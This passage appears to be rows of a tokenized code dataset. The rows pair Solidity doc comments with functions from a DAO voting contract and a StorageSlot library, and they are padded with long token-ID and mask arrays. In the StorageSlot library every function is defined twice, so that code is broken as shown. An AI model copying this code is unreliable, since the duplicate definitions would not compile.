proposalsExpiredTimes[proposal.avatar].remove(proposal.boostedPhaseTime + proposal.currentBoostedVotePeriodLimit);
orgBoostedProposalsCnt[tmpProposal.avatar] = orgBoostedProposalsCnt[tmpProposal.avatar].sub(1);
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
} else if (proposal.votes[proposal.winningVote] > executionBar) {
// someone crossed the absolute vote execution bar.
orgBoostedProposalsCnt[tmpProposal.avatar] = orgBoostedProposalsCnt[tmpProposal.avatar].sub(1);
proposalsExpiredTimes[proposal.avatar].remove(proposal.boostedPhaseTime + proposal.currentBoostedVotePeriodLimit);
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedBarCrossed;
}
}
if (executionState != ExecutionState.None) {
if (proposal.winningVote == YES) {
uint daoBountyRemain = (params.daoBountyConst.mul(proposal.stakes[proposal.winningVote]))/100;
if (daoBountyRemain > params.daoBountyLimit) {
daoBountyRemain = params.daoBountyLimit;
}
proposal.daoBountyRemain = daoBountyRemain;
}
emit ExecuteProposal(_proposalId, proposal.avatar, proposal.winningVote, totalReputation);
emit GPExecuteProposal(_proposalId, executionState);
(tmpProposal.executable).execute(_proposalId, tmpProposal.avatar, int(proposal.winningVote));
}
return (executionState != ExecutionState.None);
}
/**
* @dev staking function
* @param _proposalId id of the proposal
* @param _vote NO(2) or YES(1).
* @param _amount the betting amount
* @param _staker the staker address
* @return bool true - the proposal has been executed
* false - otherwise.
*/
function _stake(bytes32 _proposalId, uint _vote, uint _amount,address _staker) internal returns(bool) {
// 0 is not a valid vote.
require(_vote <= NUM_OF_CHOICES && _vote > 0);
require(_amount > 0);
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if (proposal.state != ProposalState.PreBoosted) {
return false;
}
// enable to increase stake only on the previous stake vote
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint amount = _amount;
Parameters memory params = parameters[proposal.paramsHash];
require(amount >= params.minimumStakingFee);
require(stakingToken.transferFrom(_staker, address(this), amount));
proposal.totalStakes[1] = proposal.totalStakes[1].add(amount); //update totalRedeemableStakes
staker.amount += amount;
staker.amountForBounty = staker.amount;
staker.vote = _vote;
proposal.votersStakes += (params.stakerFeeRatioForVoters * amount)/100;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
amount = amount - ((params.stakerFeeRatioForVoters*amount)/100);
proposal.totalStakes[0] = amount.add(proposal.totalStakes[0]);
// Event:
emit Stake(_proposalId, proposal.avatar, _staker, _vote, _amount);
// execute the proposal if this vote was decisive:
return _execute(_proposalId);
}
/**
* @dev Vote for a proposal, if the voter already voted, cancel the last vote and set a new one instead
* @param _proposalId id of the proposal
* @param _voter used in case the vote is cast for someone else
* @param _vote a value between 0 to and the proposal's number of choices.
* @param _rep how many reputation the voter would like to stake for this vote.
* if _rep==0 so the voter full reputation will be use.
* @return true in case of proposal execution otherwise false
* throws if proposal is not open or if it has been executed
* NB: executes the proposal if a decision has been reached
*/
function internalVote(bytes32 _proposalId, address _voter, uint _vote, uint _rep) internal returns(bool) {
// 0 is not a valid vote.
require(_vote <= NUM_OF_CHOICES && _vote > 0,"0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
// Check voter has enough reputation:
uint reputation = Avatar(proposal.avatar).nativeReputation().reputationOf(_voter);
require(reputation >= _rep);
uint rep = _rep;
if (rep == 0) {
rep = reputation;
}
// If this voter has already voted, return false.
if (proposal.voters[_voter].reputation != 0) {
return false;
}
// The voting itself:
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
//check if the current winningVote changed or there is a tie.
//for the case there is a tie the current winningVote set to NO.
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES))
{
// solium-disable-next-line security/no-block-members
uint _now = now;
if ((proposal.state == ProposalState.QuietEndingPeriod) ||
((proposal.state == ProposalState.Boosted) && ((_now - proposal.boostedPhaseTime) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod)))) {
//quietEndingPeriod
proposalsExpiredTimes[proposal.avatar].remove(proposal.boostedPhaseTime + proposal.currentBoostedVotePeriodLimit);
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.boostedPhaseTime = _now;
proposalsExpiredTimes[proposal.avatar].insert(proposal.boostedPhaseTime + proposal.currentBoostedVotePeriodLimit);
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:(proposal.state == ProposalState.PreBoosted)
});
if (proposal.state == ProposalState.PreBoosted) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint reputationDeposit = (params.votersReputationLossRatio * rep)/100;
ControllerInterface(Avatar(proposal.avatar).owner()).burnReputation(reputationDeposit,_voter,proposal.avatar);
}
// Event:
emit VoteProposal(_proposalId, proposal.avatar, _voter, _vote, rep);
// execute the proposal if this vote was decisive:
return _execute(_proposalId);
}
/**
* @dev _score return the proposal score
* For dual choice proposal S = (S+) - (S-)
* @param _proposalId the ID of the proposal
* @return int proposal score.
*/
function _score(bytes32 _proposalId) private view returns(int) {
Proposal storage proposal = proposals[_proposalId];
return int(proposal.stakes[YES]) - int(proposal.stakes[NO]);
}
/**
* @dev _isVotable check if the proposal is votable
* @param _proposalId the ID of the proposal
* @return bool true or false
*/
function _isVotable(bytes32 _proposalId) private view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||(pState == ProposalState.Boosted)||(pState == ProposalState.QuietEndingPeriod));
}
}
|
* @dev register a scheme @param _scheme the address of the scheme @param _paramsHash a hashed configuration of the usage of the scheme @param _permissions the permissions the new scheme will have @return bool which represents a success/ Check scheme has at least the permissions it is changing, and at least the current permissions: Implementation is a bit messy. One must recall logic-circuits ^^ produces non-zero if sender does not have all of the perms that are changing between old and new produces non-zero if sender does not have all of the perms in the old scheme Add or change the scheme:
|
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions,address _avatar)
external
onlyRegisteringSchemes
onlySubjectToConstraint("registerScheme")
isAvatarValid(_avatar)
returns(bool)
{
Scheme memory scheme = schemes[_scheme];
require(bytes4(0x1F)&(_permissions^scheme.permissions)&(~schemes[msg.sender].permissions) == bytes4(0));
require(bytes4(0x1F)&(scheme.permissions&(~schemes[msg.sender].permissions)) == bytes4(0));
schemes[_scheme].paramsHash = _paramsHash;
schemes[_scheme].permissions = _permissions|bytes4(1);
emit RegisterScheme(msg.sender, _scheme);
return true;
}
| 1,299,080 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
1744,
279,
4355,
632,
891,
389,
9068,
326,
1758,
434,
326,
4355,
632,
891,
389,
2010,
2310,
279,
14242,
1664,
434,
326,
4084,
434,
326,
4355,
632,
891,
389,
9612,
326,
4371,
326,
394,
4355,
903,
1240,
632,
2463,
1426,
1492,
8686,
279,
2216,
19,
2073,
4355,
711,
622,
4520,
326,
4371,
518,
353,
12770,
16,
471,
622,
4520,
326,
783,
4371,
30,
25379,
353,
279,
2831,
12755,
93,
18,
6942,
1297,
20895,
4058,
17,
11614,
30091,
3602,
66,
15505,
1661,
17,
7124,
309,
5793,
1552,
486,
1240,
777,
434,
326,
13793,
716,
854,
12770,
3086,
1592,
471,
394,
15505,
1661,
17,
7124,
309,
5793,
1552,
486,
1240,
777,
434,
326,
13793,
316,
326,
1592,
4355,
1436,
578,
2549,
326,
4355,
30,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1744,
9321,
12,
2867,
389,
9068,
16,
1731,
1578,
389,
2010,
2310,
16,
1731,
24,
389,
9612,
16,
2867,
389,
19660,
13,
203,
565,
3903,
203,
565,
1338,
3996,
310,
55,
13268,
203,
565,
1338,
6638,
774,
5806,
2932,
4861,
9321,
7923,
203,
565,
353,
23999,
1556,
24899,
19660,
13,
203,
565,
1135,
12,
6430,
13,
203,
565,
288,
203,
203,
3639,
10714,
3778,
4355,
273,
20436,
63,
67,
9068,
15533,
203,
203,
203,
3639,
2583,
12,
3890,
24,
12,
20,
92,
21,
42,
13,
10,
24899,
9612,
66,
9068,
18,
9612,
13,
10,
12,
98,
87,
13268,
63,
3576,
18,
15330,
8009,
9612,
13,
422,
1731,
24,
12,
20,
10019,
203,
203,
3639,
2583,
12,
3890,
24,
12,
20,
92,
21,
42,
13,
10,
12,
9068,
18,
9612,
10,
12,
98,
87,
13268,
63,
3576,
18,
15330,
8009,
9612,
3719,
422,
1731,
24,
12,
20,
10019,
203,
203,
3639,
20436,
63,
67,
9068,
8009,
2010,
2310,
273,
389,
2010,
2310,
31,
203,
3639,
20436,
63,
67,
9068,
8009,
9612,
273,
389,
9612,
96,
3890,
24,
12,
21,
1769,
203,
3639,
3626,
5433,
9321,
12,
3576,
18,
15330,
16,
389,
9068,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x6f12A57A700F9618BF01130fB7F656c4bBCddE22/sources/ERC1967ProxyWithReceive.sol
|
* @dev Library for reading and writing primitive types to specific storage slots. Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. This library helps with reading and writing to such slots without the need for inline assembly. The functions in this library return Slot structs that contain a `value` member that can be used to read or write. Example usage to set ERC1967 implementation slot: ```solidity contract ERC1967 { bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } } ``` _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._ _Available since v4.9 for `string`, `bytes`._/
|
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
struct StringSlot {
string value;
}
struct BytesSlot {
bytes value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
assembly {
r.slot := slot
}
}
function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
assembly {
r.slot := slot
}
}
function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
assembly {
r.slot := store.slot
}
}
function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
assembly {
r.slot := store.slot
}
}
function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
assembly {
r.slot := store.slot
}
}
function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
assembly {
r.slot := store.slot
}
}
}
| 3,957,917 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
18694,
364,
6453,
471,
7410,
8225,
1953,
358,
2923,
2502,
12169,
18,
5235,
12169,
854,
16337,
1399,
358,
4543,
2502,
7546,
1347,
21964,
598,
8400,
429,
20092,
18,
1220,
5313,
21814,
598,
6453,
471,
7410,
358,
4123,
12169,
2887,
326,
1608,
364,
6370,
19931,
18,
1021,
4186,
316,
333,
5313,
327,
23195,
8179,
716,
912,
279,
1375,
1132,
68,
3140,
716,
848,
506,
1399,
358,
855,
578,
1045,
18,
5090,
4084,
358,
444,
4232,
39,
3657,
9599,
4471,
4694,
30,
31621,
30205,
560,
6835,
4232,
39,
3657,
9599,
288,
377,
1731,
1578,
2713,
5381,
389,
9883,
7618,
2689,
67,
55,
1502,
56,
273,
374,
92,
29751,
6675,
24,
69,
3437,
12124,
21,
69,
1578,
2163,
6028,
27,
71,
11149,
5193,
9975,
1966,
10689,
72,
5353,
23,
73,
3462,
6669,
952,
6418,
4763,
69,
29,
3462,
69,
23,
5353,
3361,
25,
72,
7414,
22,
9897,
71,
31,
377,
445,
389,
588,
13621,
1435,
2713,
1476,
1135,
261,
2867,
13,
288,
540,
327,
5235,
8764,
18,
588,
1887,
8764,
24899,
9883,
7618,
2689,
67,
55,
1502,
56,
2934,
1132,
31,
377,
289,
377,
445,
389,
542,
13621,
12,
2867,
394,
13621,
13,
2713,
288,
540,
2583,
12,
1887,
18,
291,
8924,
12,
2704,
13621,
3631,
315,
654,
39,
3657,
9599,
30,
394,
4471,
353,
486,
279,
6835,
8863,
540,
5235,
8764,
18,
588,
1887,
8764,
24899,
9883,
7618,
2689,
67,
55,
1502,
56,
2934,
1132,
273,
394,
13621,
31,
377,
289,
289,
31621,
389,
5268,
3241,
331,
24,
18,
21,
364,
1375,
2867,
9191,
1375,
6430,
9191,
1375,
3890,
1578,
9191,
1375,
11890,
5034,
68,
6315,
389,
5268,
3241,
331,
24,
18,
29,
364,
1375,
1080,
9191,
1375,
3890,
68,
6315,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
